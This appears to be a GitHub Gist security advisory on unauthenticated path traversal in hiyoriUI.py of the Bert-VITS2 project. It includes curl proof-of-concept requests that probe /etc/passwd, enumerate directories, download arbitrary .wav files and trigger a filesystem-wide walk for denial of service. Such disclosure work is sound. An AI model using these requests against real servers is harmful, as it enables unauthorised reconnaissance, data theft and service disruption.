Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/99859f4f836cca523a5982645e7fdd97 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/99859f4f836cca523a5982645e7fdd97 to your computer and use it in GitHub Desktop.
Unauthenticated Path Traversal in hiyoriUI.py allows Arbitrary Directory Enumeration, File Existence Probing, and File Read

Advisory Details

Title: Unauthenticated Path Traversal in hiyoriUI.py allows Arbitrary Directory Enumeration, File Existence Probing, and File Read

Description:

Summary

Multiple Path Traversal vulnerabilities in the hiyoriUI.py API server allow unauthenticated external attackers to enumerate arbitrary directories, probe for the existence of arbitrary files, read arbitrary .wav files, and trigger recursive directory walks (causing potential DoS) on the host system. The server binds to 0.0.0.0 by default with zero authentication, exposing all vulnerable endpoints to the network.

Details

The hiyoriUI.py script uses FastAPI to expose several endpoints for model and audio management. These endpoints directly consume user-provided file paths from query parameters without any sanitization, validation, or path canonicalization. Specifically:

  1. /models/get_local and /models/get_unloaded: The root_dir parameter is directly passed to os.listdir() in the internal _get_all_models() function. An attacker can determine whether arbitrary directories exist on the server via the differential HTTP response (HTTP 200 for existing directories vs. HTTP 500 for non-existent ones), enabling systematic filesystem structure enumeration.

  2. /tools/get_audio: The path parameter is used in os.path.isfile() and then FileResponse(). While it checks for a .wav file extension, the os.path.isfile() check executes before the extension validation. This creates a file existence oracle: attackers receive differing HTTP responses (status 18 for non-existent files, status 19 for existing non-wav files) that reveal whether any arbitrary file exists on the server. Furthermore, any .wav file anywhere on the filesystem can be downloaded.

  3. /tools/random_example: The root_dir parameter is passed directly to os.walk(), allowing recursive traversal of arbitrary directory trees. This can cause severe CPU/IO exhaustion if directed at the root / or other deeply nested directories (DoS), and any train.list/val.list files found during the walk are read and their contents are exposed.

Since hiyoriUI.py executes uvicorn.run(app, host="0.0.0.0", port=...), these interfaces are exposed to all network interfaces, making this a zero-click, unauthenticated remote vulnerability. The only warning in the code is a log message (logger.warning("本地服务,请勿将服务端口暴露于外网")), but the server still binds to 0.0.0.0 regardless.

PoC

1. Directory Existence Oracle (/models/get_local):

# Existing directory → HTTP 200
curl -s "http://<target_ip>:5000/models/get_local?root_dir=/etc"
# Response: {} (HTTP 200, confirming /etc exists)

# Non-existent directory → HTTP 500
curl -s "http://<target_ip>:5000/models/get_local?root_dir=/nonexistent_random_path"
# Response: HTTP 500 Internal Server Error (confirming directory does not exist)

2. File Existence Oracle (/tools/get_audio):

# Existing file (non-wav) → status 19
curl -s "http://<target_ip>:5000/tools/get_audio?path=/etc/passwd"
# Response: {"status":19,"detail":"非wav格式文件"} — confirms /etc/passwd EXISTS

# Non-existent file → status 18
curl -s "http://<target_ip>:5000/tools/get_audio?path=/etc/doesnotexist"
# Response: {"status":18,"detail":"指定音频不存在"} — confirms file does NOT exist

3. Arbitrary .wav File Read (/tools/get_audio):

curl -s "http://<target_ip>:5000/tools/get_audio?path=/path/to/any/file.wav" --output stolen_audio.wav

4. Recursive Directory Walk / DoS (/tools/random_example):

curl -s "http://<target_ip>:5000/tools/random_example?root_dir=/"
# Triggers os.walk("/") — recursively walks entire filesystem, potential DoS

Log of Evidence

$ curl -H "Accept: application/json" "http://127.0.0.1:5000/tools/get_audio?path=/etc/passwd"
{"status":19,"detail":"非wav格式文件"}

$ curl -H "Accept: application/json" "http://127.0.0.1:5000/tools/get_audio?path=/etc/doesnotexist"
{"status":18,"detail":"指定音频不存在"}

$ curl -s "http://127.0.0.1:5000/models/get_local?root_dir=/etc"
{"hosts":[],"shadow":[],"passwd":[],"cron.d":[]}

(The differing responses (status 18 vs 19) clearly indicate whether an arbitrary file exists on the filesystem. The /models/get_local response leaks subdirectory names from /etc.)

Impact

  • Confidentiality: An unauthenticated remote attacker can enumerate the entire server filesystem structure by probing directory and file existence. The attacker can also read arbitrary .wav files, which may contain sensitive voice training data or proprietary audio assets. The file existence oracle further enables targeted reconnaissance for configuration files, SSH keys, and other sensitive data.
  • Availability: Directing /tools/random_example at the root directory / triggers os.walk("/"), which recursively traverses the entire filesystem. This can exhaust I/O and CPU resources, causing Denial of Service (DoS).

Affected products

  • Ecosystem: Python / FastAPI
  • Package name: fishaudio/Bert-VITS2
  • Affected versions: All versions containing hiyoriUI.py (verified on latest commit)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Weaknesses

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Occurrences

Permalink Description
https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L510-L513 _get_all_models lists files from the user-controlled root_dir via os.listdir(). Exposed via both /models/get_local and /models/get_unloaded.
https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L716-L727 get_audio endpoint accepts an arbitrary path, performs os.path.isfile() (file existence oracle) and FileResponse() (arbitrary .wav read).
https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L634-L654 random_example traverses directories starting from user-provided root_dir via os.walk().
https://github.com/fishaudio/Bert-VITS2/blob/724d0b258831b836e1270650ef2bccb0de6a38fe/hiyoriUI.py#L733-L735 Server binds to 0.0.0.0 (all interfaces) without any authentication, exposing all endpoints.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment